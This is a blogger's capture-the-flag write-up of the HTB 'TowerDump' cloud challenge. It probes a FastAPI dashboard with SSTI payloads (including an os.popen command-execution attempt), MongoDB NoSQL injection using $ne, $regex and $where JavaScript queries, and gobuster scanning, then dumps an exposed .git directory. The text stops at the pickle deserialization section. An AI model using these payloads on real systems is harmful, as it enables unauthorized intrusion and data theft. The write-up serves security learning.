Git

HTB TowerDump - Cloud Challenge - Global Cyber Skills Benchmark CTF 2025 - Operation Blackout

HTB TowerDump - Cloud Challenge - Global Cyber Skills Benchmark CTF 2025 - Operation Blackout

Pwned in the Cloud: My Journey Through HTB's TowerDump – From .git Exposure to RCE!

Hey fellow hackers and CTF enthusiasts! I recently battled my way through the "TowerDump" challenge in the HTB Cloud Challenge for the Global Cyber Skills Benchmark CTF 2025 - Operation Blackout, and it was quite the ride. This challenge involved a FastAPI power monitoring dashboard and took me from initial web prodding through some tantalizing but ultimately dead-end vulnerabilities, to a classic .git exposure that blew the doors wide open for Remote Code Execution (RCE) via Python pickle deserialization. Let's dive into how it all went down!

Target: TARGET_IP (A power monitoring dashboard)


Phase 1: Initial Scans and Whispers of Vulnerabilities

Like any good penetration test or CTF, I started with basic reconnaissance. The application presented a few interesting API endpoints:

  • /api/chart (POST)
  • /api/power-data (GET)

Teasing with SSTI on /api/chart

The /api/chart endpoint, seemingly for generating SVG charts, immediately pinged my Server-Side Template Injection (SSTI) senses. I tried sending some common Jinja2/Tornado-style payloads in the labels field of the JSON body using curl:

Attempt 1: Basic SSTI arithmetic check

$ curl -X POST -H "Content-Type: application/json" \
-d '{"labels": "{{7*7}}"}' \
http://TARGET_IP/api/chart

This resulted in a 500 error with {"detail":""}.

Attempt 2: SSTI for command execution

$ curl -X POST -H "Content-Type: application/json" \
-d '{"labels": "{{lipsum.__globals__[\'os\'].popen(\'id\').read()}}"}' \
http://TARGET_IP/api/chart

This also returned a 500 error. It seemed SSTI was present, but the environment was heavily sandboxed or error messages were suppressed, making direct exfiltration impossible. Interestingly, the app.js file contained a variable CHART_LAMBDA_URL = "YOUR_LAMBDA_URL"; which was declared but unused. This hinted at a serverless backend, possibly AWS Lambda, but the SSTI wasn't giving up any secrets about it.

Associated TTPs (SSTI):

  • MITRE ATT&CK T1190 (Exploit Public-Facing Application): SSTI is a common vulnerability in web applications.

Flirting with NoSQL Injection on /api/power-data

Next, I turned to /api/power-data. GET requests were fine, but POSTs were problematic. Playing with GET parameters quickly revealed a NoSQL injection vulnerability, likely MongoDB, given the _id: {$oid: "..."} in responses.

Example: Checking for $ne operator

$ curl -X GET 'http://TARGET_IP/api/power-data?param[$ne]=blah'

This worked.

Example: Checking for $regex operator

$ curl -X GET 'http://TARGET_IP/api/power-data?param[$regex]=^o'

This also worked.

The exciting part was that $$where (allowing JavaScript execution within the query) was enabled! Example: Basic $where check

$ curl -X GET "http://TARGET_IP/api/power-data?query={\"json_key_example\":{\"\$where\":\"this.status.system_status[0] == 'o'\"}}"

This confirmed JavaScript execution. I tried to exfiltrate data using more complex JavaScript to search for the flag or the CHART_LAMBDA_URL:

$ curl -X GET "http://TARGET_IP/api/power-data?query={\"json_key_example\":{\"\$where\":\"for (var key in this) { if (this.hasOwnProperty(key)) { if (typeof this[key] === 'string' && (this[key].includes('HTB{REDACTED} } return false;\"}}"

Unfortunately, this only returned normal-looking documents, no flag. Even a time-based blind approach yielded no discernible delays.

Associated TTPs (NoSQLi):

  • MITRE ATT&CK T1190 (Exploit Public-Facing Application): NoSQL injection is another way to exploit web applications.
  • MITRE ATT&CK T1555.003 (Credentials from Web Browsers - potentially, if data was stored insecurely): Although not directly achieved here, NoSQLi can often lead to credential or sensitive data exposure.

Phase 2: The .git Breakthrough – Source Code Spills the Beans!

After hitting these initial roadblocks, it was time for more thorough enumeration. gobuster came to the rescue:

$ gobuster dir -w /usr/share/wordlists/dirbuster/common.txt -u http://TARGET_IP -x .html,.php,.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://TARGET_IP
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,php,txt
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/assets               (Status: 301) [Size: 0] [--> http://TARGET_IP/assets/]
/code                 (Status: 301) [Size: 0] [--> http://TARGET_IP/code/]
===============================================================
Finished
===============================================================

The /code directory was the jackpot! Navigating to http://TARGET_IP/code/ revealed the application's source code, and nestled within it was the classic CTF gift: an exposed .git directory at http://TARGET_IP/code/.git/.

I quickly dumped the repository using git-dumper (or your preferred tool):

# Example using git-dumper
$ git-dumper http://TARGET_IP/code/.git/ ./towerdump_source
$ cd ./towerdump_source
$ git checkout master # or main, or another relevant branch

Analyzing the Python (FastAPI) source code was illuminating. The real vulnerability was hiding in plain sight within the /api/chart endpoint—the same one I'd probed for SSTI! The code revealed that if a JSON payload contained "pickled": true, the corresponding "data" field would be Base64 decoded and then deserialized using pickle.loads(). This was the path to RCE!

Associated TTPs (.git Exposure):

  • MITRE ATT&CK T1552.006 (Unsecured Credentials: Exposed Source Code Repository): While not directly credentials, exposed source code often leads to vulnerability discovery.
  • MITRE ATT&CK T1595.002 (Active Scanning: Vulnerability Scanning): Discovering exposed directories like .git often falls under active scanning.

Phase 3: Understanding the Python Pickle Deserialization Menace 🐍